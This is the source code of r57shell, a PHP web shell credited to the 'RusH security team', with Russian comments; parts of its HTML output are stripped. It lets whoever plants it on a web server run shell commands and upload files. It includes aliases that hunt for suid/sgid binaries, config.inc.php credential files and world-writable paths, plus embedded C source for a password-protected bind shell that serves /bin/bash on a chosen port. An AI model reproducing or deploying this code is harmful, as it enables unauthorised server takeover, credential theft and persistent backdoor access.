\___|_ / /* -======\/==security=\/=team==\/ /* /* SPECIAL xbIx birthday edition /* /* r57shell.php - скрипт на пхп позволяющий вам выполнять шелл команды на сервере через браузер /* Вы можете скачать новую версию на нашем сайте: http://rst.void.ru или www.rsteam.ru /* Версия 1.0 beta (писалась практически на коленке... так что код сыроват... для тестирования) /* /* Возможности: /* ~ защита скрипта с помощью пароля /* ~ выполнение шелл-команд /* ~ загрузка файлов на сервер /* ~ поддерживает алиасы команд /* ~ включены 4 алиаса команд: /* - поиск на сервере всех файлов с suid битом /* - поиск на сервере всех файлов с sgid битом /* - поиск на сервере файлов config.inc.php /* - поиск на сервере всех директорий и файлов доступных на запись для всех /* ~ два языка интерфейса: русский, английский /* ~ возможность забиндить /bin/bash на определенный порт /* /* 05.03.2004 (c) RusH security team /* /******************************************************************************************************/ ## Аутентификация ## Логин и пароль для доступа к скрипту ## НЕ ЗАБУДЬТЕ СМЕНИТЬ ПЕРЕД РАЗМЕЩЕНИЕМ НА СЕРВЕРЕ!!! $name="r57"; ## логин пользователя $pass="r57"; ## пароль пользователя if(!isset($PHP_AUTH_USER)) { Header('WWW-Authenticate: Basic realm="r57shell"'); Header('HTTP/1.0 401 Unauthorized'); exit; } else { if(($PHP_AUTH_USER != $name ) || ($PHP_AUTH_PW != $pass)) { Header('WWW-Authenticate: Basic realm="r57shell"'); Header('HTTP/1.0 401 Unauthorized'); exit; } } error_reporting(0); set_time_limit(0); /* Выбор языка $language='ru' - русский $language='eng' - английский */ $language='ru'; $lang=array( 'ru_text1' => 'Выполненная команда', 'ru_text2' => 'Выполнение команд на сервере', 'ru_text3' => 'Выполнить команду', 'ru_text4' => 'Рабочая директория', 'ru_text5' => 'Загрузка файлов на сервер', 'ru_text6' => 'Локальный файл', 'ru_text7' => 'Алиасы', 'ru_text8' => 'Выберите алиас', 'ru_butt1' => 'Выполнить', 'ru_butt2' => 'Загрузить', 'ru_text9' => 'Открытие порта и привязка его к /bin/bash', 'ru_text10' => 'Открыть порт', 'ru_text11' => 'Пароль для доступа', 'ru_butt3' => 'Открыть', 'eng_text1' => 'Executed command', 'eng_text2' => 'Execute command on server', 'eng_text3' => ' Run command', 'eng_text4' => 'Work directory', 'eng_text5' => 'Upload files on server', 'eng_text6' => 'Local file', 'eng_text7' => 'Aliases', 'eng_text8' => 'Select alias', 'eng_butt1' => 'Execute', 'eng_butt2' => 'Upload', 'eng_text9' => 'Bind port to /bin/bash', 'eng_text10' => 'Port', 'eng_text11' => 'Password for access', 'eng_butt3' => 'Bind' ); /* Алиасы команд Позволяют избежать многократного набора одних и тех-же команд. ( Сделано благодаря моей природной лени ) Вы можете сами добавлять или изменять команды. */ $aliases=array( /* поиск на сервере всех файлов с suid битом */ 'find all suid files' => 'find / -type f -perm -04000 -ls', /* поиск на сервере всех файлов с sgid битом */ 'find all sgid files' => 'find / -type f -perm -02000 -ls', /* поиск на сервере файлов config.inc.php */ 'find config.inc.php files' => 'find / -type f -name config.inc.php', /* поиск на сервере всех директорий и файлов доступных на запись для всех */ 'find writable directories and files' => 'find / -perm -2 -ls', '----------------------------------------------------------------------------------------------------' => 'ls -la' ); /* Port bind source */ $port_bind_bd_c=" #include #include #include #include #include #include int main(argc,argv) int argc; char **argv; { int sockfd, newfd; char buf[30]; struct sockaddr_in remote; if(argc < 3) usage(argv[0]); if(fork() == 0) { // Ответвляем новый процесс remote.sin_family = AF_INET; remote.sin_port = htons(atoi(argv[1])); remote.sin_addr.s_addr = htonl(INADDR_ANY); sockfd = socket(AF_INET,SOCK_STREAM,0); if(!sockfd) perror(\"socket error\"); bind(sockfd, (struct sockaddr *)&remote, 0x10); listen(sockfd, 5); while(1) { newfd=accept(sockfd,0,0); dup2(newfd,0); dup2(newfd,1); dup2(newfd,2); write(newfd,\"Password:\",10); read(newfd,buf,sizeof(buf)); if (!chpass(argv[2],buf)) system(\"echo welcome to r57 shell && /bin/bash -i\"); else fprintf(stderr,\"Sorry\"); close(newfd); } } } int usage(char *progname) { fprintf(stderr,\"USAGE:%s \n\",progname); exit(0); } int chpass(char *base, char *entered) { int i; for(i=0;i r57shell
   !  r57shell
"; echo "uname -a : 
id : 
pwd : 

"; echo "
"; echo ""; echo "    ".exec("uname -a")."
"; echo "    ".exec("id")."
"; echo "    ".exec("pwd").""; echo "
"; echo ""; ?>
$alias_cmd) { if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;} } } ?>
Error uploading file ".$HTTP_POST_FILES["userfile"][name]."
"); } ?>
".$lang[$language._text1].": ".$_POST['cmd']."
"; echo ""; echo "
"; echo "
"; ?>
:: ::
"; echo ""; echo " ".$lang[$language._text3]." и    "; echo "  
"; echo " ".$lang[$language._text4]." и    "; if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo ""; } else { echo ""; } echo "  "; echo "
"; echo ""; ?>
:: ::
"; echo ""; echo "       ".$lang[$language._text6]." и    "; echo " "; if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo ""; } else { echo ""; } echo ""; echo ""; echo ""; ?>
:: ::
"; echo ""; echo "         ".$lang[$language._text8]." и    "; echo ""; if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo ""; } else { echo ""; } echo "  "; echo ""; echo ""; ?>
:: ::
"; echo ""; echo "              ".$lang[$language._text10]." и    "; echo " "; echo "      ".$lang[$language._text11]." и    "; echo " "; if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo ""; } else { echo ""; } echo ""; echo "      "; echo ""; echo ""; ?>
o---[ r57shell - http-shell by RusH security team | http://rst.void.ru | version 1.0 beta ]---o"; ?>